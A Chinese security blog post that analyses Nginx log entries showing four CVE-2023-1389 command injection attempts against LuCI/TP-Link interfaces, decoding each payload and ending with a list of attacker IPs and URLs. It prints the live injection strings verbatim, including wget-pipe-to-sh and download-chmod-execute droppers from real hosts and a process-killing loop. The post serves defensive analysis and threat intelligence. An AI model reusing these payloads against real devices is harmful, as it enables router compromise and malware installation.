Nginx日志分析实战:揭露4种CVE-2023-1389攻击手法,加固网站安全屏障

Nginx日志分析实战:揭露4种CVE-2023-1389攻击手法,加固网站安全屏障

原创 满戈 核点点 2024-06-19 23:26

在上一篇自给自足的智慧:打造轻量级Nginx日志处理系统

中提到了自开发了可以实现24小时自动收集nginx网站日志的工具,在对日志进行走查的过程中,看到了200多条明显的攻击日志很相识,利用的是同一个漏洞,简单分析如下。

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60)

这条命令字符串看起来像是尝试利用Web界面的漏洞进行攻击,特别是针对使用了LuCI(OpenWrt项目中常用的Web界面)的设备。这里简单解析一下这个命令的意图和构成部分:
– $(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60)
:这是攻击的核心部分,使用了命令注入技术。其中 %3E
是URL编码的 >
符号,%60
是URL编码的反引号(`),用于在shell中执行命令。

  • 使用wget
    从指定的远程URL(http://103.149.28.141/t
    )下载一个文件(-O-
    表示输出到标准输出,即直接在终端显示或进一步处理)。

  • 然后通过管道|
    将下载的内容传递给sh
    执行,这意味着下载的文件很可能是包含恶意指令的脚本。

  • id >
    是一个无害的前缀,用来误导或填充命令。

  • wget http://103.149.28.141/t -O- | sh
    是实际要执行的恶意命令,它做了两件事:

综上所述,这是一个典型的Web命令注入攻击尝试,旨在通过LuCI界面的漏洞,从远程服务器下载并执行恶意代码,从而控制系统或进一步渗透网络。遇到这种情况,应立即采取措施,比如检查系统日志、更新系统及应用补丁、强化Web接口的安全配置,并考虑通报相关安全团队或供应商。

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F66.187.6.203%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)

这个命令字符串同样是一种恶意的Web请求,旨在利用潜在的命令注入漏洞,通过LuCI Web界面在目标设备上执行一系列危险的操作。具体解析如下:

整体结构与之前解析的相似,利用了/cgi-bin/luci/;stok=
作为LuCI Web界面的入口点,尝试通过修改“国家”设置(locale
)的表单提交来执行命令。

$(…)
内的内容是精心构造的命令注入代码,进行了URL编码以绕过简单的安全检查。解码后的命令为:

cd /tmp; 
rm -rf shk; 
wget http://66.187.6.203/shk; chmod 777 shk; 
./shk tplink; 
rm -rf shk
  • 这串命令执行了以下操作:

  • cd /tmp
    :切换到系统的临时目录/tmp

  • rm -rf shk
    :如果存在名为shk
    的文件或目录,则删除它,以确保后续下载的文件不会因为同名而冲突。

  • wget http://66.187.6.203/shk
    :从指定的远程服务器下载名为shk
    的文件。这个文件很可能是恶意脚本。

  • chmod 777 shk
    :给予下载的shk
    文件执行权限,确保任何人都能运行它。

  • ./shk tplink
    :执行下载的shk
    脚本,并传入参数tplink
    。这个脚本可能根据传入的参数执行特定的恶意行为,比如攻击tplink路由器、收集敏感信息、开启后门等。

  • rm -rf shk
    :执行完毕后,再次删除shk
    文件,企图抹去攻击痕迹。

这种攻击显然是为了在目标设备上下载并执行恶意代码,对设备安全构成严重威胁。如果你遇到这样的请求记录,应立即检查设备是否已被入侵,加强系统安全设置,更新固件,并考虑使用防火墙规则阻止与已知恶意IP的通信。同时,报告此事件给网络安全专家或相应厂商,以便他们采取进一步行动。

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94.156.71.83%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

cd /tmp; 
rm -rf r; 
wget http://94.156.71.83/r; 
chmod 777 r; 
./r tplink; 
rm -rf r

这里发生了以下操作:
– 切换到/tmp目录。

  • 删除已存在的名为r的文件(如果有),以准备下载新的恶意文件。

  • 从攻击者控制的服务器http://94.156.71.83/r下载文件名为r的恶意脚本。

  • 赋予下载的文件执行权限(chmod 777 r)。

  • 执行下载的脚本./r,并传递参数tplink。这表明脚本可能根据不同的参数执行定制的恶意行为,此处可能针对的是tplink路由器或含有类似标识的系统。

  • 最后再一次删除恶意脚本r,企图隐藏攻击痕迹。

此类攻击意在远程控制目标设备、窃取敏感信息或部署持久化后门。如果你遇到这样的日志条目,应当立即采取以下措施:
– 检查系统是否有异常活动迹象。

  • 更新设备的固件至最新版本,修复可能存在的安全漏洞。

  • 确保网络防火墙规则阻止与已知恶意IP的通信。

  • 考虑增强Web服务的安全配置,比如限制对外部请求的敏感操作。

  • 如有必要,与网络安全专家或设备供应商联系,报告此安全事件。

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22dvrLocker%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60)

这段命令字符串展示了更为复杂的一种攻击尝试,目标依然是通过LuCI Web界面的命令注入漏洞,不过这次的命令旨在查找并终止特定的进程。解析如下:
– 命令的基本结构仍然是通过LuCI的Web接口进行,利用国家设置变更的表单提交来执行恶意命令。

  • 解码后的命令内容为一个Bash循环脚本,其主要目的似乎是查找并杀死名为dvrLocker
    的特定进程(这里假设dvrLocker
    是一个示例进程名,实际意义依据上下文可能有所不同)。命令大致步骤如下:
for proc_dir in /proc/[0-9]*; do
    pid=${proc_dir##*/}
    buffer=$(cat "/proc/$pid/maps")
    if [ "${#buffer}" -gt 1 ]; then
        if [ "${buffer##*/lib/}" = "$buffer" ] && [ "${buffer##*dvrLocker}" = "$buffer" ]; then
            kill -9 "$pid"
        fi
    fi
done
  • 确认buffer中不包含/lib/路径,这可能是在尝试排除系统核心库关联的进程,以减少误伤。

  • 确认buffer中不包含字符串dvrLocker,意味着只有当某进程的内存映射信息中没有提到dvrLocker时,才会进入下一个条件判断。这里可能存在逻辑错误,正确的意图可能是检查是否包含dvrLocker来定位目标进程。

  • 如果以上条件都满足(尽管第二个条件逻辑看似反向,可能需修正以正确匹配目标进程),则使用kill -9强制终止该进程。

  • 遍历/proc目录下所有表示进程的子目录(/proc/[0-9]*),获取每个进程的PID(进程ID)。

  • 对每个进程,读取其内存映射信息(/proc/$pid/maps),存储在buffer变量中。

  • 检查buffer是否为空,非空则继续。

  • 使用字符串截取判断条件,检查buffer内容:

  • 此脚本的最终目的可能是清除或干扰名为dvrLocker的特定软件或恶意程序的运行实例,但实际执行效果需视脚本逻辑准确性及目标环境而定。

遇到此类命令注入攻击,应立即采取措施确保系统安全,包括但不限于:
– 查看系统日志,确认是否有成功执行的迹象。

  • 确认并升级系统及应用程序的安全补丁。

  • 评估并加固Web服务的安全配置,避免类似的命令注入漏洞。

  • 监控网络流量,阻止与恶意源头的进一步通信。

  • 如怀疑系统已遭入侵,应进行彻底的安全审计和必要的数据恢复操作。

威胁情报

103.149.28.141
66.187.6.203
94.156.71.83
66.187.6.155
45.148.10.78
185.191.127.212 
45.148.10.174
84.54.51.37
31.220.1.83
http://103.149.28.141/t
http://66.187.6.203/shk
http://94.156.71.83/r
http://66.187.6.155/shk
http://45.148.10.78/shk